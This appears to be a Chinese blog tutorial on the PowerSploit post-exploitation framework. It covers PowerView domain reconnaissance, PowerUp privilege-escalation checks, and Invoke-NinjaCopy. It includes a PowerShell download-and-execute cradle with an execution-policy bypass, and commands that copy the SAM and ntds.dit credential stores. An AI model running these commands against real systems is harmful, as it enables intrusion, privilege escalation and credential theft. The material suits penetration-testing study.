目录

PowerSploit

PowerSploit的用法

PowerView.ps1脚本的使用

PowerUp.ps1脚本的使用

Invoke-Allchecks模块

Invoke-NinjaCopy.ps1脚本的使用

PowerSploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

  • ActivirusBypass:发现杀毒软件的查杀特征
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性的脚本
  • Persistence:后门脚本
  • Privsec:提权等脚本
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

本文主要讲的是PowerSploit用于搜索域信息的模块,其他模块用法一致。

PowerSploit的用法

首先,我们想用里面哪个脚本,就先下载该脚本,然后导入该脚本,执行其中的模块。我们以PowerView.ps1脚本为例,该脚本主要用于搜集域信息。

我们先下载PowerView.ps1脚本到本地,然后在当前目录下打开cmd,执行以下命令执行PowerView.ps1脚本中的Get-NetDomain模块,如果要执行该脚本的其他模块,亦是如此

powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain  

如果需要远程加载模块的话,我们先将PowerView.ps1放到我们的http服务目录下,然后执行以下命令

powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain

PowerView.ps1脚本的使用

PowerView.ps1脚本位于PowerSploit的Recon目录下,该模块主要用于域内信息的收集。

该脚本有以下一些模块

  1. Get-NetDomain #查看域名称
  2. Get-NetDomainController #获取域控的信息
  3. Get-NetForest #查看域内详细的信息
  4. Get-Netuser #获取域内所有用户的详细信息
  5. Get-NetUser | select name #获得域内所有用户名
  6. Get-NetGroup #获取域内所有组信息
  7. Get-NetGroup | select name #获取域内所有的组名
  8. Get-NetGroup *admin* | select name #获得域内组中带有admin的
  9. Get-NetGroup "Domain Admins" #查看组"Domain Admins"组的信息
  10. Get-NetGroup -UserName test #获得域内组中用户test的信息
  11. Get-UserEvent #获取指定用户日志信息
  12. Get-NetComputer #获取域内所有机器的详细信息
  13. Get-NetComputer | select name #获得域内主机的名字
  14. Get-Netshare #获取本机的网络共享
  15. Get-NetProcess #获取本机进程的详细信息
  16. Get-NetOU #获取域内OU信息
  17. Get-NetFileServer #根据SPN获取当前域使用的文件服务器
  18. Get-NetSession #获取在指定服务器存在的Session信息
  19. Get-NetRDPSESSION #获取本机的RDP连接session信息
  20. Get-NetGPO #获取域内所有组策略对象
  21. Get-ADOBJECT #获取活动目录的信息
  22. Get-DomainPolicy #获取域默认策略
  23. Invoke-UserHunter #查询指定用户登录过的机器
  24. Invoke-EnumerateLocalAdmin #枚举出本地的管理员信息
  25. Invoke-ProcessHunter #判断当前机器哪些进程有管理员权限
  26. Invoke-UserEventHunter #根据用户日志获取某域用户登陆过哪些域机器

PowerUp.ps1脚本的使用

PowerUp.ps1脚本是 Privsec 目录下的一个脚本,功能非常强大。拥有很多用来寻找目标主机Windows服务配置错误来进行提权的模块。当我们无法通过 windows 内核漏洞进行提权的话,这个时候我们就可以利用该脚本来寻找目标主机上Windows服务配置错误来进行提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权。

我们来看下该脚本下模块的功能:

Service Enumeration(服务枚举)

  1. Get-ServiceUnquoted 该模块返回包含空格但是没有引号的服务路径的服务
  2. Get-ModifiableServiceFile 该模块返回当前用户可以修改服务的二进制文件或修改其配置文件的服务
  3. Get-ModifiableService 该模块返回当前用户能修改的服务
  4. Get-ServiceDetail 该模块用于返回某服务的信息,用法: Get-ServiceDetail -servicename  服务名

Service Abuse(服务滥用) 

  1. Invoke-ServiceAbuse 该模块通过修改服务来添加用户到指定组,并可以通过设置 -cmd 参数触发添加用户的自定义命令
  2. Write-ServiceBinary 该模块通过写入一个修补的C#服务二进制文件,它可以添加本地管理程序或执行自定义命令,Write-ServiceBinary与Install-ServiceBinary不同之处自安于,前者生成可执行文件,后者直接安装服务
  3. Install-ServiceBinary 该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,
  4. Restore-ServiceBinary 该模块用于恢复服务的可执行文件到原始目录,使用:Restore-ServiceBinary -servicename 服务名

DLL Hijacking(DLL注入) 

  1. Find-ProcessDLLHijack 该模块查找当前正在运行的进程潜在的dll劫持机会。
  2. Find-PathDLLHijack 该模块用于检查当前 %path% 的哪些目录是用户可以写入的
  3. Write-HijackDll 该模块可写入可劫持的dll

Registry Checks(注册审核)

  1. Get-RegistryAlwaysInstallElevated 该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,则意味着SAM文件是以System权限运行的
  2. Get-RegistryAutoLogon 该模块用于检测Winlogin注册表的AutoAdminLogon项是否被设置,可用于查询默认的用户名和密码
  3. Get-ModifiableRegistryAutoRun 该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下:
  4. HKLM\Software\Microsoft\Windows\CurrentVersino\Run
  5. HKLM\Software\Microsoft\Windows\CurrentVersino\RunOnce
  6. HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  7. HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  8. HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
  9. HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
  10. HKLM\Software\Microsoft\Windows\CurrentVersion\RunService
  11. HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceService

Miscellaneous Checks(杂项审核) 

  1. Get-ModifiableScheduledTaskFile 该模块用于返回当前用户能够修改的计划任务程序的名称和路径 
  2. Get-Webconfig 该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文
  3. Get-ApplicationHost 该模块利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码
  4. Get-SiteListPassword 该模块检索任何已找到的McAfee的SiteList.xml文件的明文密码
  5. Get-CachedGPPPassword 该模块检查缓存的组策略首选项文件中的密码
  6. Get-UnattendedInstallFile 该模块用于检查以下路径,查找是否存在这些文件,因为这些文件可能含有部署凭据 
  7. C:\sysprep\sysprep.xml
  8. C:\sysprep\sysprep.inf
  9. C:\sysprep.inf
  10. C:\Windows\Panther\Unattended.xml
  11. C:\Windows\Panther\Unattend\Unattended.xml
  12. C:\Windows\Panther\Unattend.xml
  13. C:\Windows\Panther\Unattend\Unattend.xml
  14. C:\Windows\System32\Sysprep\unattend.xml
  15. C:\Windows\System32\Sysprep\Panther\unattend.xml

Other Helpers/Meta-Functions(其他一些模块的帮助) 

  1. Get-ModifiablePath 该模块标记输入字符串并返回当前用户可以修改的文件
  2. Get-CurrentUserTokenGroupSid 该模块返回当前用户参与的所有小岛屿发展中国家,无论它们是否已禁用。
  3. Add-ServiceDacl 该模块将dacl字段添加到get-service返回的服务对象中
  4. Set-ServiceBinPath 该模块通过Win 32 api方法将服务的二进制路径设置为指定的值。
  5. Test-ServiceDaclPermission 该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改。如果能修改,则返回该服务对象。使用:Test-ServiceDaclPermission -servicename 服务名
  6. Write-UserAddMSI 该模块写入一个MSI安装程序,提示要添加一个用户。
  7. Invoke-AllChecks 该模块会自动执行 PowerUp.ps1 下所有的模块来检查目标主机是否存在服务配置漏洞   

以下是这些模块提权的原理: 

  • Get-ServiceUnquoted 模块提权 (该模块利用了Windows的一个逻辑漏洞,即当文件包含空格时,WindowsAPI会解释为两个路径,并将这两个文件同时执行,这个漏洞在有些时候会造成权限的提升)。
  • Test-ServiceDaclPermission 模块提权 (该模块会检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则存在此漏洞)。Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如在每次重启系统时,Java升级程序都会检测出Oracle网站是否有新版Java程序。而类似Java程序之类的系统服务程序,在加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务器获得系统权限。。

Invoke-Allchecks模块

powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose

运行该脚本,该脚本会自动检查PowerUp.ps1下所有的模块,并在存在漏洞利用的模块下的AbuseFunction中直接给出利用方法

Invoke-NinjaCopy.ps1脚本的使用

该脚本在Exfiltration目录下,该文件的作用是复制一些系统无法复制的文件,比如sam文件。还可以在域环境中传输文件(前提是执行命令的用户是域用户)

注:该脚本需要管理员权限运行

复制文件

  1. Import-Module .\Invoke-NinjaCopy.ps1
  2. Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam

域环境中传输文件

Copy-Item '\\dc.offensive.local\C$\Users\administrator\Desktop\ntds.dit'-Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'   #将dc.offensive.local主机上c:\users\administrator\desktop\ntds.dit文件复制到 Client1.offensive.local 主机的C:\users\alice\Desktop\tools\ntds.dit文件

未完待续。。。。。。。。。

参考书籍:《Web安全攻防-渗透测试实战指南》

相关文章:PowerShell使用浅析

PowerView:一个可以帮助你躲避检测的内网信息收集脚本

PowerSploit脚本相关推荐

  1. [网络安全提高篇] 一〇八.Powershell和PowerSploit脚本渗透详解 (1)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  2. [系统安全] 四十六.Powershell恶意代码检测系列 (1)Powershell基础入门及管道和变量的用法

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  3. [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取

    "网络安全提高班"新的100篇文章即将开启,包括Web渗透.内网渗透.靶场搭建.CVE复现.攻击溯源.实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史.换专业确实挺难 ...

  4. [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  5. [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. 渗透测试实战指南笔记

    第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...

  7. Web安全防攻(渗透测试)

    第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache.Nginx.MySQL和PHP的应用环境,本节演示的是WDLinux的一款集成的安装包. 首先,下载需要的安装包 ...

  8. web安全攻防渗透测试笔记

    第三章sqlmap (1)      安装sqlmap前,需要先安装Python3.X Python Releases for Windows | Python.org (2)      在环境变量p ...

  9. 感谢十二年的陪伴——分享回归,不忘初心(Eastmount博客总结及未来规划)

    曾记否,2021年4月28日,为了更好地从事科研和学习,当时给所有读者群发了我在CSDN唯一的私信,感谢大家十年的陪伴,短暂消失,不负青春.当时也收到了很多博友的鼓励与祝福,感恩. 是啊!很难想象读博 ...

最新文章

  1. Mavlink自定义协议
  2. pcre库文件的安装
  3. python3模块socket怎么安装_Python中socket模块的使用方法(一)
  4. Python: sklearn库——数据预处理
  5. 线性代数 第二章 矩阵及其运算
  6. 外架小横杆外露长度规范要求_脚手架各部位构造要求解读!
  7. hadoop简介(大数据技术)
  8. 双十一期间快递员凌晨送件 将下班程序员误认成小偷
  9. doris历程_Doris简史-为分析而生的11年
  10. intellij idea 主题下载网站
  11. 数字通信第六章——信道模型和信道容量
  12. 安卓开发 监听系统语言切换
  13. 阿铭Linux_网站维护学习笔记20190412
  14. 01 #pragma once用法总结
  15. 拍牌服务器提交中断,沪牌拍牌的经验总结
  16. 正大国际期货:外盘黄金期货怎么做,需要注意什么?
  17. WEB APP、HYBRID APP与NATIVE APP 差异分析
  18. 如何用Python进行数据分析
  19. 数据工程师的终极指南
  20. juniper常用命令

热门文章

  1. 关乎每个人!2021年5月1日起实施
  2. 判断当前时间是否在某个时间范围内
  3. 英语笔记3(git)
  4. Oracle中的存储过程简单例子
  5. 另存为常用位置设置 1.0 绿色版
  6. 03 Android应用界面编程
  7. android如何让自定义控件居中,Android自定义控件之自定义TextView,实现drawableLeft可以和文字一起居中...
  8. 上项线体表位置_实用人体体表解剖:头颈部(高清大图版)
  9. python替代技术,Python超级方法和调用替代品
  10. h3c 路由器 刷第三方固件_图文版*许迎果 第201期 双11路由器型号推荐之刷机路由篇...